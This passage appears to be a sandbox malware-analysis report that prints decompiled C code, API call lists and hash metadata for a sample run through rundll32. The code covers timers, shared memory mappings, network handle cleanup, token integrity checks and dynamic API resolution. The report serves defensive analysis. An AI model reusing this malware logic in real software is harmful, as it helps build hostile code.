0x010f814c
0x010f814e
0x010f814e
0x010f8155
0x010f8157
0x010f8161
0x010f8164
0x010f8167
0x010f8167
0x00000000
0x010f80cd
0x010f80d0
0x010f80fe
0x010f8108
0x010f810c
0x010f8114
0x010f8117
0x010f811e
0x010f8128
0x010f8128
0x010f812c
0x010f8131
0x010f8140
0x010f8146
0x010f8146
0x010f812c
0x00000000
0x010f80d7
0x010f80da
0x010f80e2
0x010f80f7
0x010f80fc
0x00000000
0x00000000
0x010f80fc
0x00000000
0x010f80e2
0x010f80d0
0x010f80cb
0x010f8011
0x010f8018
0x010f8028
0x010f802b
0x010f8031
0x010f8035
0x010f8078
0x010f8084
0x010f80ad
0x010f8086
0x010f808a
0x010f8090
0x010f8098
0x010f809a
0x010f809d
0x010f80a3
0x010f80a5
0x010f80a5
0x010f8098
0x010f808a
0x00000000
0x010f8084
0x010f803d
0x010f8040
0x010f8047
0x010f8057
0x010f805a
0x010f806a
0x00000000
0x010f8070
0x010f8051
0x010f8055
0x00000000
0x00000000
0x00000000
0x010f8055
0x010f8022
0x010f8026
0x00000000
0x00000000
0x00000000
0x010f8026
0x010f7fff
0x010f8003
0x00000000
0x00000000
0x00000000

APIs

RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 010F7FAE
LoadLibraryA.KERNEL32(?), ref: 010F802B
GetLastError.KERNEL32 ref: 010F8037
RaiseException.KERNEL32(C06D007E,00000000,00000001,?), ref: 010F806A

Strings

$, xrefs: 010F7F83

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: ExceptionRaise$ErrorLastLibraryLoad
String ID: $
API String ID: 948315288-3993045852
Opcode ID: a7a8488d99e13b6ce9f0a7f6cb58a128cb718a56bf996cc8732b83983f8645b8
Instruction ID: 3702b6fd9d9a382f4a38e15846f58d5183987ff9d33cf1d7f7d68a32ddd292d5
Opcode Fuzzy Hash: a7a8488d99e13b6ce9f0a7f6cb58a128cb718a56bf996cc8732b83983f8645b8
Instruction Fuzzy Hash: 15812A71A002059FDB61CF98C886BEDBBF5BB88310F15816EF685D7641E775E904CB50

Uniqueness

Uniqueness Score: -1.00%

Function 010F661D Relevance: 16.7, APIs: 11, Instructions: 151
timememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E010F661D(void* __edx, intOrPtr _a4, intOrPtr _a8) {
				void _v48;
				long _v52;
				struct %anon52 _v60;
				char _v72;
				long _v76;
				void* _v80;
				union _LARGE_INTEGER _v84;
				struct %anon52 _v92;
				void* _v96;
				void* _v100;
				union _LARGE_INTEGER _v104;
				long _v108;
				struct %anon52 _v124;
				long _v128;
				struct %anon52 _t46;
				void* _t51;
				long _t53;
				void* _t54;
				struct %anon52 _t61;
				long _t65;
				struct %anon52 _t66;
				void* _t69;
				void* _t73;
				signed int _t74;
				void* _t76;
				void* _t78;
				void** _t82;
				signed int _t86;
				void* _t89;

				_t76 = __edx;
				_v52 = 0;
				memset( &_v48, 0, 0x2c);
				_t89 = (_t86 & 0xfffffff8) - 0x54 + 0xc;
				_t46 = CreateWaitableTimerA(0, 1, 0);
				_v60 = _t46;
				if(_t46 == 0) {
					_v92.HighPart = GetLastError();
				} else {
					_push(0xffffffff);
					_push(0xff676980);
					_push(0);
					_push( *0x10fa2e0);
					_v76 = 0;
					_v80 = 0;
					L010F824A();
					_v84.LowPart = _t46;
					_v80 = _t76;
					SetWaitableTimer(_v76,  &_v84, 0, 0, 0, 0);
					_t51 =  *0x10fa30c; // 0x2c0
					_v76 = _t51;
					_t53 = WaitForMultipleObjects(2,  &_v80, 0, 0xffffffff);
					_v108 = _t53;
					if(_t53 == 0) {
						if(_a8 != 0) {
							L4:
							 *0x10fa2ec = 5;
						} else {
							_t69 = E010F216C(_t76); // executed
							if(_t69 != 0) {
								goto L4;
							}
						}
						_v104.LowPart = 0;
						L6:
						L6:
						if(_v104.LowPart == 1 && ( *0x10fa300 & 0x00000001) == 0) {
							_v104.LowPart = 2;
						}
						_t74 = _v104.LowPart;
						_t58 = _t74 << 4;
						_t78 = _t89 + (_t74 << 4) + 0x38;
						_t75 = _t74 + 1;
						_v92.LowPart = _t74 + 1;
						_t61 = E010F43EB( &_v96, _t75, _t89 + _t58 + 0x38, _t78,  &_v100); // executed
						_v124 = _t61;
						if(_t61 != 0) {
							goto L17;
						}
						_t66 = _v92;
						_v104.LowPart = _t66;
						if(_t66 != 3) {
							goto L6;
						} else {
							_v124.HighPart = E010F70D8(_t75,  &_v72, _a4, _a8);
						}
						goto L12;
						L17:
						__eflags = _t61 - 0x10d2;
						if(_t61 != 0x10d2) {
							_push(0xffffffff);
							_push(0xff676980);
							_push(0);
							_push( *0x10fa2e4);
							goto L21;
						} else {
							__eflags =  *0x10fa2e8; // 0x0
							if(__eflags == 0) {
								goto L12;
							} else {
								_t61 = E010F561E();
								_push(0xffffffff);
								_push(0xdc3cba00);
								_push(0);
								_push( *0x10fa2e8);
								L21:
								L010F824A();
								_v104.LowPart = _t61;
								_v100 = _t78;
								SetWaitableTimer(_v96,  &_v104, 0, 0, 0, 0); // executed
								_t65 = WaitForMultipleObjects(2,  &_v100, 0, 0xffffffff);
								_v128 = _t65;
								__eflags = _t65;
								if(_t65 == 0) {
									goto L6;
								} else {
									goto L12;
								}
							}
						}
						L25:
					}
					L12:
					_t82 =  &_v72;
					_t73 = 3;
					do {
						_t54 =  *_t82;
						if(_t54 != 0) {
							HeapFree( *0x10fa2d8, 0, _t54);
						}
						_t82 =  &(_t82[4]);
						_t73 = _t73 - 1;
					} while (_t73 != 0);
					CloseHandle(_v80);
				}
				return _v92.HighPart;
				goto L25;
			}

0x010f661d
0x010f6633
0x010f6637
0x010f663c
0x010f6643
0x010f6649
0x010f664f
0x010f67d6
0x010f6655
0x010f6655
0x010f6657
0x010f665c
0x010f665d
0x010f6663
0x010f6667
0x010f666b
0x010f6679
0x010f6687
0x010f668b
0x010f668d
0x010f669a
0x010f66a6
0x010f66a8
0x010f66ae
0x010f66b7
0x010f66c2
0x010f66c2
0x010f66b9
0x010f66b9
0x010f66c0
0x00000000
0x00000000
0x010f66c0
0x010f66cc
0x00000000
0x010f66d0
0x010f66d5
0x010f66e0
0x010f66e0
0x010f66e8
0x010f66ee
0x010f66f6
0x010f66ff
0x010f6706
0x010f670a
0x010f670f
0x010f6715
0x00000000
0x00000000
0x010f6717
0x010f671b
0x010f6722
0x00000000
0x010f6724
0x010f6734
0x010f6734
0x00000000
0x010f6765
0x010f6765
0x010f676a
0x010f6789
0x010f678b
0x010f6790
0x010f6791
0x00000000
0x010f676c
0x010f676c
0x010f6772
0x00000000
0x010f6774
0x010f6774
0x010f6779
0x010f677b
0x010f6780
0x010f6781
0x010f6797
0x010f6797
0x010f679f
0x010f67ad
0x010f67b1
0x010f67bd
0x010f67bf
0x010f67c3
0x010f67c5
0x00000000
0x010f67cb
0x00000000
0x010f67cb
0x010f67c5
0x010f6772
0x00000000
0x010f676a
0x010f6738
0x010f673a
0x010f673e
0x010f673f
0x010f673f
0x010f6743
0x010f674d
0x010f674d
0x010f6753
0x010f6756
0x010f6756
0x010f675d
0x010f675d
0x010f67e4
0x00000000

APIs

memset.NTDLL ref: 010F6637
CreateWaitableTimerA.KERNEL32(00000000,00000001,00000000), ref: 010F6643
_allmul.NTDLL(00000000,FF676980,000000FF), ref: 010F666B
SetWaitableTimer.KERNEL32(?,?,00000000,00000000,00000000,00000000), ref: 010F668B
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF,?,?,?,?,?,?,?,?,?,?,010F3EE8,?), ref: 010F66A6
HeapFree.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,010F3EE8,?,00000000), ref: 010F674D
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,010F3EE8,?,00000000,?,?), ref: 010F675D
_allmul.NTDLL(00000000,FF676980,000000FF,00000002), ref: 010F6797
SetWaitableTimer.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,FF676980,000000FF,00000002,?,?,?), ref: 010F67B1
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 010F67BD

Part of subcall function 010F216C: StrToIntExW.SHLWAPI(?,00000000,?,?,004F0053,051A9400,00000000,?,7620F710,00000000,7620F730), ref: 010F21BB
Part of subcall function 010F216C: HeapFree.KERNEL32(00000000,00000000,?,80000001,00000000,00680043,051A9438,?,00000000,30314549,00000014,004F0053,051A93F4), ref: 010F2258
Part of subcall function 010F216C: HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,010F66BE), ref: 010F226A

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,010F3EE8,?,00000000,?,?), ref: 010F67D0

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: FreeHeapTimerWaitable$MultipleObjectsWait_allmul$CloseCreateErrorHandleLastmemset
String ID:
API String ID: 3521023985-0
Opcode ID: 961ea891ec8faffbba9d7b2f101f477f83dd1a9b990b6a952c42268bde2b43fa
Instruction ID: 0fe49c2ef2e5875ccb769b3f8cf45f2b50e903474765968841712eda1777ba0a
Opcode Fuzzy Hash: 961ea891ec8faffbba9d7b2f101f477f83dd1a9b990b6a952c42268bde2b43fa
Instruction Fuzzy Hash: 86519E71109320AFD7619F19DC86DABBBE8FF88324F108A1EF6D882650D7769504CF92

Uniqueness

Uniqueness Score: -1.00%

Function 010F76BB Relevance: 13.6, APIs: 9, Instructions: 72
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 74%

			E010F76BB(intOrPtr __edx, void** _a4, void** _a8) {
				intOrPtr _v8;
				struct _FILETIME* _v12;
				short _v56;
				struct _FILETIME* _t12;
				intOrPtr _t13;
				void* _t17;
				void* _t21;
				intOrPtr _t27;
				long _t28;
				void* _t30;

				_t27 = __edx;
				_t12 =  &_v12;
				GetSystemTimeAsFileTime(_t12);
				_push(0x192);
				_push(0x54d38000);
				_push(_v8);
				_push(_v12);
				L010F8244();
				_push(_t12);
				_v12 = _t12;
				_t13 =  *0x10fa348; // 0x40ad5a8
				_t5 = _t13 + 0x10fb87a; // 0x51a8e22
				_t6 = _t13 + 0x10fb594; // 0x530025
				_push(0x16);
				_push( &_v56);
				_v8 = _t27;
				L010F7EAA();
				_t17 = CreateFileMappingW(0xffffffff, 0x10fa34c, 4, 0, 0x1000,  &_v56); // executed
				_t30 = _t17;
				if(_t30 == 0) {
					_t28 = GetLastError();
				} else {
					if(GetLastError() == 0xb7) {
						_t21 = MapViewOfFile(_t30, 6, 0, 0, 0); // executed
						if(_t21 == 0) {
							_t28 = GetLastError();
							if(_t28 != 0) {
								goto L6;
							}
						} else {
							 *_a4 = _t30;
							 *_a8 = _t21;
							_t28 = 0;
						}
					} else {
						_t28 = 2;
						L6:
						CloseHandle(_t30);
					}
				}
				return _t28;
			}

0x010f76bb
0x010f76c3
0x010f76c7
0x010f76cd
0x010f76d2
0x010f76d7
0x010f76da
0x010f76dd
0x010f76e2
0x010f76e3
0x010f76e6
0x010f76eb
0x010f76f2
0x010f76fc
0x010f76fe
0x010f76ff
0x010f7702
0x010f771e
0x010f7724
0x010f7728
0x010f7776
0x010f772a
0x010f7737
0x010f7747
0x010f774f
0x010f7761
0x010f7765
0x00000000
0x00000000
0x010f7751
0x010f7754
0x010f7759
0x010f775b
0x010f775b
0x010f7739
0x010f773b
0x010f7767
0x010f7768
0x010f7768
0x010f7737
0x010f777d

APIs

GetSystemTimeAsFileTime.KERNEL32(?,?,00000000,?,?,?,?,?,?,010F3DBA,?,?,4D283A53,?,?), ref: 010F76C7
_aulldiv.NTDLL(?,?,54D38000,00000192), ref: 010F76DD
_snwprintf.NTDLL ref: 010F7702
CreateFileMappingW.KERNELBASE(000000FF,010FA34C,00000004,00000000,00001000,?,?,?,?,?,00000000), ref: 010F771E
GetLastError.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,010F3DBA,?,?,4D283A53,?), ref: 010F7730
MapViewOfFile.KERNEL32(00000000,00000006,00000000,00000000,00000000,?,?,?,?,00000000), ref: 010F7747
CloseHandle.KERNEL32(00000000,?,?,?,?,00000000,?,?,?,?,?,?,010F3DBA,?,?,4D283A53), ref: 010F7768
GetLastError.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,010F3DBA,?,?,4D283A53,?), ref: 010F7770

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: File$ErrorLastTime$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
String ID:
API String ID: 1814172918-0
Opcode ID: fdba372ced8a6cbb654b119b5ae3276aaceb0b55f8dc64811cd57d470f0525b0
Instruction ID: 5411ef3271093b6af221715eacce165a58a2da78d09205276a12e79ce9045b4d
Opcode Fuzzy Hash: fdba372ced8a6cbb654b119b5ae3276aaceb0b55f8dc64811cd57d470f0525b0
Instruction Fuzzy Hash: 8721D272640304BFD721EB68CC0BF9E7BB9BB88754F240029FB89E7684DA719905CB51

Uniqueness

Uniqueness Score: -1.00%

Function 010F4274 Relevance: 12.1, APIs: 8, Instructions: 75
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			E010F4274(intOrPtr* __eax, void* __ebx, void* __ecx, void* __edi) {
				void* _t17;
				void* _t18;
				void* _t19;
				void* _t20;
				void* _t21;
				intOrPtr _t24;
				void* _t37;
				void* _t41;
				intOrPtr* _t45;

				_t41 = __edi;
				_t37 = __ebx;
				_t45 = __eax;
				_t16 =  *((intOrPtr*)(__eax + 0x20));
				if( *((intOrPtr*)(__eax + 0x20)) != 0) {
					E010F6E40(_t16, __ecx, 0xea60);
				}
				_t17 =  *(_t45 + 0x18);
				_push(_t37);
				_push(_t41);
				if(_t17 != 0) {
					InternetSetStatusCallback(_t17, 0);
					InternetCloseHandle( *(_t45 + 0x18)); // executed
				}
				_t18 =  *(_t45 + 0x14);
				if(_t18 != 0) {
					InternetSetStatusCallback(_t18, 0);
					InternetCloseHandle( *(_t45 + 0x14));
				}
				_t19 =  *(_t45 + 0x10);
				if(_t19 != 0) {
					InternetSetStatusCallback(_t19, 0);
					InternetCloseHandle( *(_t45 + 0x10));
				}
				_t20 =  *(_t45 + 0x1c);
				if(_t20 != 0) {
					FindCloseChangeNotification(_t20); // executed
				}
				_t21 =  *(_t45 + 0x20);
				if(_t21 != 0) {
					CloseHandle(_t21);
				}
				_t22 =  *((intOrPtr*)(_t45 + 8));
				if( *((intOrPtr*)(_t45 + 8)) != 0) {
					E010F6C2C(_t22);
					 *((intOrPtr*)(_t45 + 8)) = 0;
					 *((intOrPtr*)(_t45 + 0x30)) = 0;
				}
				_t23 =  *((intOrPtr*)(_t45 + 0xc));
				if( *((intOrPtr*)(_t45 + 0xc)) != 0) {
					E010F6C2C(_t23);
				}
				_t24 =  *_t45;
				if(_t24 != 0) {
					_t24 = E010F6C2C(_t24);
				}
				_t46 =  *((intOrPtr*)(_t45 + 4));
				if( *((intOrPtr*)(_t45 + 4)) != 0) {
					return E010F6C2C(_t46);
				}
				return _t24;
			}

0x010f4274
0x010f4274
0x010f4276
0x010f4278
0x010f427f
0x010f4286
0x010f4286
0x010f428b
0x010f428e
0x010f4295
0x010f429e
0x010f42a2
0x010f42a7
0x010f42a7
0x010f42a9
0x010f42ae
0x010f42b2
0x010f42b7
0x010f42b7
0x010f42b9
0x010f42be
0x010f42c2
0x010f42c7
0x010f42c7
0x010f42c9
0x010f42d4
0x010f42d7
0x010f42d7
0x010f42d9
0x010f42de
0x010f42e1
0x010f42e1
0x010f42e3
0x010f42ea
0x010f42ed
0x010f42f2
0x010f42f5
0x010f42f5
0x010f42f8
0x010f42fd
0x010f4300
0x010f4300
0x010f4305
0x010f4309
0x010f430c
0x010f430c
0x010f4311
0x010f4316
0x00000000
0x010f4319
0x010f4320

APIs

InternetSetStatusCallback.WININET(?,00000000), ref: 010F42A2
InternetCloseHandle.WININET(?), ref: 010F42A7
InternetSetStatusCallback.WININET(?,00000000), ref: 010F42B2
InternetCloseHandle.WININET(?), ref: 010F42B7
InternetSetStatusCallback.WININET(?,00000000), ref: 010F42C2
InternetCloseHandle.WININET(?), ref: 010F42C7
FindCloseChangeNotification.KERNEL32(?,00000000,00000102,?,?,010F3801,?,?,761F81D0,00000000,00000000), ref: 010F42D7
CloseHandle.KERNEL32(?,00000000,00000102,?,?,010F3801,?,?,761F81D0,00000000,00000000), ref: 010F42E1

Part of subcall function 010F6E40: WaitForMultipleObjects.KERNEL32(00000002,010F7BB5,00000000,010F7BB5,?,?,?,010F7BB5,0000EA60), ref: 010F6E5B

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: Internet$Close$Handle$CallbackStatus$ChangeFindMultipleNotificationObjectsWait
String ID:
API String ID: 2172891992-0
Opcode ID: 41ce00a12ec0686ae6c301ae5650b8ac03ad35b47f112dc0d3eacb016c4bf88b
Instruction ID: b758607e1f89f896a5811bada31af8b2575c0949145f897bd690a58113e5f790
Opcode Fuzzy Hash: 41ce00a12ec0686ae6c301ae5650b8ac03ad35b47f112dc0d3eacb016c4bf88b
Instruction Fuzzy Hash: AA110D7AA006485BD5B0AFAEEC86C5BBBEDEB542103950D6DFBC5D3D10C726F8448A60

Uniqueness

Uniqueness Score: -1.00%

Function 010F6C41 Relevance: 10.6, APIs: 7, Instructions: 75
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E010F6C41(long* _a4) {
				long _v8;
				void* _v12;
				void _v16;
				long _v20;
				int _t33;
				void* _t46;

				_v16 = 1;
				_v20 = 0x2000;
				if( *0x10fa2fc > 5) {
					_v16 = 0;
					if(OpenProcessToken(0xffffffff, 0x20008,  &_v12) != 0) {
						GetTokenInformation(_v12, 0x14,  &_v16, 4,  &_v8); // executed
						_v8 = 0;
						GetTokenInformation(_v12, 0x19, 0, 0,  &_v8); // executed
						if(_v8 != 0) {
							_t46 = E010F6D63(_v8);
							if(_t46 != 0) {
								_t33 = GetTokenInformation(_v12, 0x19, _t46, _v8,  &_v8); // executed
								if(_t33 != 0) {
									_v20 =  *(GetSidSubAuthority( *_t46,  *(GetSidSubAuthorityCount( *_t46)) - 0x00000001 & 0x000000ff));
								}
								E010F6C2C(_t46);
							}
						}
						CloseHandle(_v12);
					}
				}
				 *_a4 = _v20;
				return _v16;
			}

0x010f6c4e
0x010f6c55
0x010f6c5c
0x010f6c70
0x010f6c7b
0x010f6c93
0x010f6ca0
0x010f6ca3
0x010f6ca8
0x010f6cb3
0x010f6cb7
0x010f6cc6
0x010f6cca
0x010f6ce6
0x010f6ce6
0x010f6cea
0x010f6cea
0x010f6cef
0x010f6cf3
0x010f6cf9
0x010f6cfa
0x010f6d01
0x010f6d07

APIs

OpenProcessToken.ADVAPI32(000000FF,00020008,00000000,00000000), ref: 010F6C73
GetTokenInformation.KERNELBASE(00000000,00000014(TokenIntegrityLevel),00000001,00000004,?,00000000), ref: 010F6C93
GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,00000000,?), ref: 010F6CA3
CloseHandle.KERNEL32(00000000), ref: 010F6CF3

Part of subcall function 010F6D63: RtlAllocateHeap.NTDLL(00000000,00000000,010F5D7B), ref: 010F6D6F

GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,?,?,?,?), ref: 010F6CC6
GetSidSubAuthorityCount.ADVAPI32(00000000), ref: 010F6CCE
GetSidSubAuthority.ADVAPI32(00000000,?), ref: 010F6CDE

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: Token$Information$Authority$AllocateCloseCountHandleHeapOpenProcess
String ID:
API String ID: 1295030180-0
Opcode ID: 5373e225a4b88b4c414b7fd0982622206fe16d5d84a89008aec765d8be31374c
Instruction ID: f759efa8cf7c2d856a40753207457a607b72681e5ea4ea04d561175e82d16b02
Opcode Fuzzy Hash: 5373e225a4b88b4c414b7fd0982622206fe16d5d84a89008aec765d8be31374c
Instruction Fuzzy Hash: 5A212A75E0021DFFEB109F94DD45EEEBBB9EB44304F0000A9FA90A7550D7769A44DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 010F1D33 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 68
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 64%

			E010F1D33(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				intOrPtr _t9;
				intOrPtr _t13;
				char* _t19;
				char* _t28;
				void* _t33;
				void* _t34;
				char* _t36;
				void* _t38;
				intOrPtr* _t39;
				char* _t40;
				char* _t42;
				char* _t43;

				_t34 = __edx;
				_push(__ecx);
				_t9 =  *0x10fa348; // 0x40ad5a8
				_t1 = _t9 + 0x10fb624; // 0x253d7325
				_t36 = 0;
				_t28 = E010F624E(__ecx, _t1);
				if(_t28 != 0) {
					_t39 = __imp__;
					_t13 =  *_t39(_t28, _t38);
					_v8 = _t13;
					_t6 =  *_t39(_a4) + 1; // 0x51a95b1
					_t40 = E010F6D63(_v8 + _t6);
					if(_t40 != 0) {
						strcpy(_t40, _t28);
						_pop(_t33);
						__imp__(_t40, _a4);
						_t19 = E010F24B3(_t33, _t34, _t40, _a8); // executed
						_t36 = _t19;
						E010F6C2C(_t40);
						_t42 = E010F5A07(StrTrimA(_t36, "="), _t36);
						if(_t42 != 0) {
							E010F6C2C(_t36);
							_t36 = _t42;
						}
						_t43 = E010F4162(_t36, _t33);
						if(_t43 != 0) {
							E010F6C2C(_t36);
							_t36 = _t43;
						}
					}
					E010F6C2C(_t28);
				}
				return _t36;
			}

0x010f1d33
0x010f1d36
0x010f1d37
0x010f1d3e
0x010f1d45
0x010f1d4c
0x010f1d50
0x010f1d57
0x010f1d5e
0x010f1d63
0x010f1d6b
0x010f1d75
0x010f1d79
0x010f1d7d
0x010f1d83
0x010f1d88
0x010f1d92
0x010f1d98
0x010f1d9a
0x010f1db1
0x010f1db5
0x010f1db8
0x010f1dbd
0x010f1dbd
0x010f1dc6
0x010f1dca
0x010f1dcd
0x010f1dd2
0x010f1dd2
0x010f1dca
0x010f1dd5
0x010f1dda
0x010f1de0

APIs

Part of subcall function 010F624E: lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,010F1D4C,253D7325,00000000,00000000,?,746BC740,010F58D7), ref: 010F62B5
Part of subcall function 010F624E: sprintf.NTDLL ref: 010F62D6

lstrlen.KERNEL32(00000000,00000000,253D7325,00000000,00000000,?,746BC740,010F58D7,00000000,051A95B0), ref: 010F1D5E
lstrlen.KERNEL32(00000000,?,746BC740,010F58D7,00000000,051A95B0), ref: 010F1D66

Part of subcall function 010F6D63: RtlAllocateHeap.NTDLL(00000000,00000000,010F5D7B), ref: 010F6D6F

strcpy.NTDLL ref: 010F1D7D
lstrcat.KERNEL32(00000000,00000000), ref: 010F1D88

Part of subcall function 010F24B3: lstrlen.KERNEL32(00000000,00000000,010F58D7,00000000,?,010F1D97,00000000,010F58D7,?,746BC740,010F58D7,00000000,051A95B0), ref: 010F24C4

Part of subcall function 010F6C2C: RtlFreeHeap.NTDLL(00000000,00000000,010F5E1D,00000000,?,?,00000000), ref: 010F6C38

StrTrimA.SHLWAPI(00000000,=,00000000,00000000,010F58D7,?,746BC740,010F58D7,00000000,051A95B0), ref: 010F1DA5

Part of subcall function 010F5A07: lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,010F1DB1,00000000,?,746BC740,010F58D7,00000000,051A95B0), ref: 010F5A11
Part of subcall function 010F5A07: _snprintf.NTDLL ref: 010F5A6F

Strings

=, xrefs: 010F1D9F

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: lstrlen$Heap$AllocateFreeTrim_snprintflstrcatsprintfstrcpy
String ID: =
API String ID: 2864389247-1428090586
Opcode ID: 521dcdd08a2759bcb7cc96b8b82517d2b01587a3ed040c4e7beeeee50e9efc44
Instruction ID: 0d9130acf298e30a7622e380c3ee29d07cd5613267e2933cf4f75f59ab4d7b7e
Opcode Fuzzy Hash: 521dcdd08a2759bcb7cc96b8b82517d2b01587a3ed040c4e7beeeee50e9efc44
Instruction Fuzzy Hash: 8611A333901126A746627B799C86CEF3ABD9EA9554305001DFBC4D7900CE7AD90187E0

Uniqueness

Uniqueness Score: -1.00%

Function 008F1446 Relevance: 9.1, APIs: 6, Instructions: 81
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E008F1446(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v8;
				_Unknown_base(*)()* _t29;
				_Unknown_base(*)()* _t33;
				_Unknown_base(*)()* _t36;
				_Unknown_base(*)()* _t39;
				_Unknown_base(*)()* _t42;
				intOrPtr _t46;
				struct HINSTANCE__* _t50;
				intOrPtr _t56;

				_t56 = E008F10A8(0x20);
				if(_t56 == 0) {
					_v8 = 8;
				} else {
					_t50 = GetModuleHandleA( *0x8f41c4 + 0x8f5014);
					_v8 = 0x7f;
					_t29 = GetProcAddress(_t50,  *0x8f41c4 + 0x8f5151);
					 *(_t56 + 0xc) = _t29;
					if(_t29 == 0) {
						L8:
						E008F152A(_t56);
					} else {
						_t33 = GetProcAddress(_t50,  *0x8f41c4 + 0x8f5161);
						 *(_t56 + 0x10) = _t33;
						if(_t33 == 0) {
							goto L8;
						} else {
							_t36 = GetProcAddress(_t50,  *0x8f41c4 + 0x8f5174);
							 *(_t56 + 0x14) = _t36;
							if(_t36 == 0) {
								goto L8;
							} else {
								_t39 = GetProcAddress(_t50,  *0x8f41c4 + 0x8f5189);
								 *(_t56 + 0x18) = _t39;
								if(_t39 == 0) {
									goto L8;
								} else {
									_t42 = GetProcAddress(_t50,  *0x8f41c4 + 0x8f519f);
									 *(_t56 + 0x1c) = _t42;
									if(_t42 == 0) {
										goto L8;
									} else {
										 *((intOrPtr*)(_t56 + 8)) = _a8;
										 *((intOrPtr*)(_t56 + 4)) = _a4;
										_t46 = E008F1000(_t56, _a12); // executed
										_v8 = _t46;
										if(_t46 != 0) {
											goto L8;
										} else {
											 *_a16 = _t56;
										}
									}
								}
							}
						}
					}
				}
				return _v8;
			}

